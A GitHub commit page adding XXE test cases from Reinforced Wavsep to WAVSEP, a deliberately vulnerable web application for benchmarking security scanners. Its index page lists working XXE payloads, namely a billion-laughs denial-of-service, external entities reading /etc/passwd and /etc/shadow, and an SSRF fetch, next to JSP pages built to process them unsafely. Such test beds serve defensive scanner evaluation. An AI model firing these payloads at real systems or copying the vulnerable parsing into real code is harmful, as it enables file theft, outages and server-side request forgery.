Skip to content

Commit cef578b

Browse files
psiinonpsiinon
authored
Merge pull request #14 from psiinon/rwav/xxe
Add rwavsep XXE tests
2 parents 1776843 + a07e2c4 commit cef578b

21 files changed

Lines changed: 1024 additions & 0 deletions

‎.gitignore‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,3 +2,4 @@
22
/.settings/
33
/.classpath
44
/.project
5+
/bin/

‎CHANGELOG.md‎

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,11 +4,14 @@ All notable changes to this project will be documented in this file.
44
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
55

66
## 2025-09-02
7+
### Added
8+
- Imported XXE from [Reinforced Wavsep](https://github.com/luigiurbano/Reinforced-Wavsep) at commit [962d566](https://github.com/luigiurbano/Reinforced-Wavsep/commit/962d566ebe51a3f64f772b6c1856d99f1150ba4a). Updated them to use the same endpoint to handle the POST requests instead of using a common one.
79

810
### Changed
911
- Unvalidated-Redirect/Redirect-FalsePositives-GET/Case09... now uses the default host from the first configured engine (identified via JMX) instead of the requested host name (which could have been from a manipulated Host header).
1012

1113
## 2025-08-30
14+
### Added
1215
- Imported OS Command Injection tests from [Reinforced Wavsep](https://github.com/luigiurbano/Reinforced-Wavsep) at commit [962d566](https://github.com/luigiurbano/Reinforced-Wavsep/commit/962d566ebe51a3f64f772b6c1856d99f1150ba4a).
1316

1417
## 2025-08-28

‎README.md‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,13 @@ WAVSEP is a vulnerable web application designed to help assessing the features,
88

99
This evaluation platform contains a collection of unique vulnerable web pages that can be used to test the various properties of web application scanners.
1010

11+
### Reinforced Wavsep
12+
13+
This fork also includes the following tests added to [Reinforced Wavsep](https://github.com/luigiurbano/Reinforced-Wavsep)
14+
15+
* OS Command Injection
16+
* XML External Entity
17+
1118
## Building
1219

1320
WAVSEP can be run in one standalone Docker container.

‎WebContent/active/XXE/XXE-POST-500Error/Case01-XXE-Injection-Entity-Example-WithErrors.jsp‎

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
<%@page import="com.sectooladdict.utils.XxeUtils"%>
2+
<%
3+
if (request.getMethod().equals("POST")) {
4+
try {
5+
out.print(XxeUtils.process(request.getInputStream()));
6+
} catch (Exception e) {
7+
response.sendError(500, e.getMessage());
8+
}
9+
return;
10+
}
11+
%>
12+
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
13+
pageEncoding="ISO-8859-1"%>
14+
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
15+
<html>
16+
<head>
17+
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
18+
<title>Case 1 - XXE Injection into intercepted request. Goal: perform simple XXE injection.</title>
19+
<script>
20+
function sendXml()
21+
{
22+
var xhr = new XMLHttpRequest();
23+
xhr.open("POST", "<%= request.getRequestURL() %>");
24+
var xmlDoc;
25+
26+
xhr.onreadystatechange = function()
27+
{
28+
if (xhr.readyState == 4 && xhr.status == 200)
29+
{
30+
document.getElementById("result").innerHTML=xhr.responseText
31+
}
32+
};
33+
34+
xhr.setRequestHeader('Content-Type', 'text/xml');
35+
var xml="<?xml version=\"1.0\" encoding=\"UTF-8\"?><employees>\n<employee id=\"1\">\n<firstName>Lokesh</firstName>\n<lastName>Gupta</lastName>\n<location>India</location>\n</employee>\n<employee id=\"2\">\n<firstName>Alex</firstName>\n<lastName>Gussin</lastName>\n<location>Russia</location>\n</employee>\n<employee id=\"3\">\n<firstName>David</firstName>\n<lastName>Feezor</lastName>\n<location>USA</location>\n</employee>\n</employees>";
36+
xhr.send(xml);
37+
}
38+
</script>
39+
</head>
40+
41+
<body>
42+
<h4></h4>
43+
<form>
44+
<B>Employees:</B><br><br>
45+
<script>sendXml();</script>
46+
</form>
47+
<div id="result"></div>
48+
49+
<br><br>
50+
</body>
51+
</html>

‎WebContent/active/XXE/XXE-POST-500Error/Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp‎

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
<%@page import="com.sectooladdict.utils.XxeUtils"%>
2+
<%
3+
if (request.getMethod().equals("POST")) {
4+
try {
5+
out.print(XxeUtils.process(request.getInputStream()));
6+
} catch (Exception e) {
7+
response.sendError(500, e.getMessage());
8+
}
9+
return;
10+
}
11+
%>
12+
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
13+
pageEncoding="ISO-8859-1"%>
14+
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
15+
<html>
16+
<head>
17+
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
18+
<title>Case 2 - XXE Injection into intercepted request. Goal: perform XXE injection to execute a DoS.</title>
19+
<script>
20+
function sendXml()
21+
{
22+
var xhr = new XMLHttpRequest();
23+
xhr.open("POST", "<%= request.getRequestURL() %>");
24+
var xmlDoc;
25+
26+
xhr.onreadystatechange = function()
27+
{
28+
if (xhr.readyState == 4 && xhr.status == 200)
29+
{
30+
document.getElementById("result").innerHTML=xhr.responseText
31+
}
32+
};
33+
34+
xhr.setRequestHeader('Content-Type', 'text/xml');
35+
var xml="<?xml version=\"1.0\" encoding=\"UTF-8\"?><employees>\n<employee id=\"1\">\n<firstName>Lokesh</firstName>\n<lastName>Gupta</lastName>\n<location>India</location>\n</employee>\n<employee id=\"2\">\n<firstName>Alex</firstName>\n<lastName>Gussin</lastName>\n<location>Russia</location>\n</employee>\n<employee id=\"3\">\n<firstName>David</firstName>\n<lastName>Feezor</lastName>\n<location>USA</location>\n</employee>\n</employees>";
36+
xhr.send(xml);
37+
}
38+
</script>
39+
</head>
40+
41+
<body>
42+
<h4></h4>
43+
<form>
44+
<B>Employees:</B><br><br>
45+
<script>sendXml();</script>
46+
</form>
47+
<div id="result"></div>
48+
49+
<br><br>
50+
</body>
51+
</html>

‎WebContent/active/XXE/XXE-POST-500Error/Case03-XXE-Injection-File-Disclosure-WithErrors.jsp‎

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
<%@page import="com.sectooladdict.utils.XxeUtils"%>
2+
<%
3+
if (request.getMethod().equals("POST")) {
4+
try {
5+
out.print(XxeUtils.process(request.getInputStream()));
6+
} catch (Exception e) {
7+
response.sendError(500, e.getMessage());
8+
}
9+
return;
10+
}
11+
%>
12+
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
13+
pageEncoding="ISO-8859-1"%>
14+
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
15+
<html>
16+
<head>
17+
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
18+
<title>Case 3 - XXE Injection into intercepted request. Goal: perform XXE injection to retrieve files.</title>
19+
<script>
20+
function sendXml()
21+
{
22+
var xhr = new XMLHttpRequest();
23+
xhr.open("POST", "<%= request.getRequestURL() %>");
24+
var xmlDoc;
25+
26+
xhr.onreadystatechange = function()
27+
{
28+
if (xhr.readyState == 4 && xhr.status == 200)
29+
{
30+
document.getElementById("result").innerHTML=xhr.responseText
31+
}
32+
};
33+
34+
xhr.setRequestHeader('Content-Type', 'text/xml');
35+
var xml="<?xml version=\"1.0\" encoding=\"UTF-8\"?><employees>\n<employee id=\"1\">\n<firstName>Lokesh</firstName>\n<lastName>Gupta</lastName>\n<location>India</location>\n</employee>\n<employee id=\"2\">\n<firstName>Alex</firstName>\n<lastName>Gussin</lastName>\n<location>Russia</location>\n</employee>\n<employee id=\"3\">\n<firstName>David</firstName>\n<lastName>Feezor</lastName>\n<location>USA</location>\n</employee>\n</employees>";
36+
xhr.send(xml);
37+
}
38+
</script>
39+
</head>
40+
41+
<body>
42+
<h4></h4>
43+
<form>
44+
<B>Employees:</B><br><br>
45+
<script>sendXml();</script>
46+
</form>
47+
<div id="result"></div>
48+
49+
<br><br>
50+
</body>
51+
</html>

‎WebContent/active/XXE/XXE-POST-500Error/Case04-XXE-Injection-SSRF-WithErrors.jsp‎

Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
<%@page import="com.sectooladdict.utils.XxeUtils"%>
2+
<%
3+
if (request.getMethod().equals("POST")) {
4+
try {
5+
out.print(XxeUtils.process(request.getInputStream()));
6+
} catch (Exception e) {
7+
response.sendError(500, e.getMessage());
8+
}
9+
return;
10+
}
11+
%>
12+
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
13+
pageEncoding="ISO-8859-1"%>
14+
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
15+
<html>
16+
<head>
17+
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
18+
<title>Case 4 - XXE Injection into intercepted request. Goal: perform SSRF attacks.</title>
19+
<script>
20+
function sendXml()
21+
{
22+
var xhr = new XMLHttpRequest();
23+
xhr.open("POST", "<%= request.getRequestURL() %>");
24+
var xmlDoc;
25+
26+
xhr.onreadystatechange = function()
27+
{
28+
if (xhr.readyState == 4 && xhr.status == 200)
29+
{
30+
document.getElementById("result").innerHTML=xhr.responseText
31+
}
32+
};
33+
34+
xhr.setRequestHeader('Content-Type', 'text/xml');
35+
var xml="<?xml version=\"1.0\" encoding=\"UTF-8\"?><employees>\n<employee id=\"1\">\n<firstName>Lokesh</firstName>\n<lastName>Gupta</lastName>\n<location>India</location>\n</employee>\n<employee id=\"2\">\n<firstName>Alex</firstName>\n<lastName>Gussin</lastName>\n<location>Russia</location>\n</employee>\n<employee id=\"3\">\n<firstName>David</firstName>\n<lastName>Feezor</lastName>\n<location>USA</location>\n</employee>\n</employees>";
36+
xhr.send(xml);
37+
}
38+
</script>
39+
</head>
40+
41+
<body>
42+
<h4></h4>
43+
<form>
44+
<B>Employees:</B><br><br>
45+
<script>sendXml();</script>
46+
</form>
47+
<div id="result"></div>
48+
49+
<br><br>
50+
</body>
51+
</html>

‎WebContent/active/XXE/XXE-POST-500Error/index.jsp‎

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
2+
pageEncoding="ISO-8859-1"%>
3+
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
4+
<html>
5+
<head>
6+
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
7+
<title>Evaluation of XXE Injection Detection Accuracy - HTTP POST Intercepted Request Vector Method Responses</title>
8+
</head>
9+
<body>
10+
11+
<center><font size="5">Injection Test Cases - HTTP POST Intercepted Request Method Responses:</font></center><br><br>
12+
<B><a href="Case01-XXE-Injection-Entity-Example-WithErrors.jsp">Case01-XXE-Injection-Entity-Example-WithErrors.jsp</a></B><br>
13+
XXE Injection into intercepted request.<br>
14+
Goal: perform simple xxe injection.<br>
15+
<U>Barriers:</U><br>
16+
None <br>
17+
<U>Example:</U> <B><xmp><!--?xml version="1.0" ?-->
18+
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
19+
<userInfo>
20+
<firstName>John</firstName>
21+
<lastName>&example;</lastName>
22+
</userInfo></xmp></B>
23+
<U>Exploit:</U> <B><xmp><?xml version="1.0" encoding="UTF-8"?>
24+
<!DOCTYPE replace [<!ENTITY example "That'sNotMyLastName!XXE-Work!"> ]>
25+
<employees>
26+
<employee id="1">
27+
<firstName>John</firstName>
28+
<lastName>&example;</lastName>
29+
</employee>
30+
</employees></xmp></B><br>
31+
32+
<B><a href="Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp">Case02-XXE-Injection-Denial-of-Service-WithErrors.jsp</a></B><br>
33+
XXE Injection into intercepted request.<br>
34+
Goal: perform XXE injection to execute a DoS.<br>
35+
<U>Barriers:</U><br>
36+
None <br>
37+
<U>Example:</U><B><xmp><!--?xml version="1.0" ?-->
38+
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
39+
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
40+
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
41+
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
42+
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
43+
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
44+
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
45+
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
46+
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
47+
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
48+
<tag>&lol9;</tag></xmp></B>
49+
<U>Exploit:</U> <B><xmp><?xml version="1.0" encoding="UTF-8"?>
50+
<!DOCTYPE lolz [
51+
<!ENTITY lol "lol">
52+
<!ENTITY lola "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
53+
<!ENTITY lolb "&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;">
54+
<!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;">
55+
<!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;">
56+
<!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;">
57+
<!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;">
58+
<!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;">
59+
<!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;">
60+
<!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;">
61+
]>
62+
<employees>
63+
<employee id="1">
64+
<firstName>John</firstName>
65+
<lastName>Doe</lastName>
66+
<location>&loli;</location>
67+
</employee>
68+
</employees></xmp></B><br>
69+
70+
<B><a href="Case03-XXE-Injection-File-Disclosure-WithErrors.jsp">Case03-XXE-Injection-File-Disclosure-WithErrors.jsp</a></B><br>
71+
XXE Injection into intercepted request.<br>
72+
Goal: perform XXE injection to retrieve files.<br>
73+
<U>Barriers:</U><br>
74+
None <br>
75+
<U>Example:</U><br>
76+
<B><xmp><!--?xml version="1.0" ?-->
77+
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
78+
<userInfo>
79+
<firstName>John</firstName>
80+
<lastName>&ent;</lastName>
81+
</userInfo></xmp></B>
82+
<U>Exploit:</U><br>
83+
<B><xmp><?xml version="1.0" encoding="UTF-8"?>
84+
<!DOCTYPE employees [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]>
85+
<employees>
86+
<employee id="1">
87+
<firstName>John</firstName>
88+
<lastName>Doe</lastName>
89+
<location>&file;</location>
90+
</employee>
91+
</employees></xmp></B><br>
92+
93+
<B><a href="Case04-XXE-Injection-SSRF-WithErrors.jsp">Case04-XXE-Injection-SSRF-WithErrors.jsp</a></B><br>
94+
XXE Injection into intercepted request.<br>
95+
Goal: perform SSRF attacks.<br>
96+
<U>Barriers:</U><br>
97+
None <br>
98+
<U>Example:</U>
99+
<B><xmp><?xml version="1.0"?>
100+
<!DOCTYPE foo [
101+
<!ELEMENT foo (#ANY)>
102+
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo></xmp></B>
103+
<U>Exploit:</U><B>
104+
<xmp><?xml version="1.0" encoding="UTF-8"?>
105+
<!DOCTYPE employees [ <!ENTITY file SYSTEM "http://dummy.restapiexample.com/api/v1/employees"> ]>
106+
<employees>
107+
<employee id="1">
108+
<firstName>John</firstName>
109+
<lastName>Doe</lastName>
110+
<location>&file;</location>
111+
</employee>
112+
</employees></xmp></B><br>
113+
</body>
114+
</html>

0 commit comments

Comments
 (0)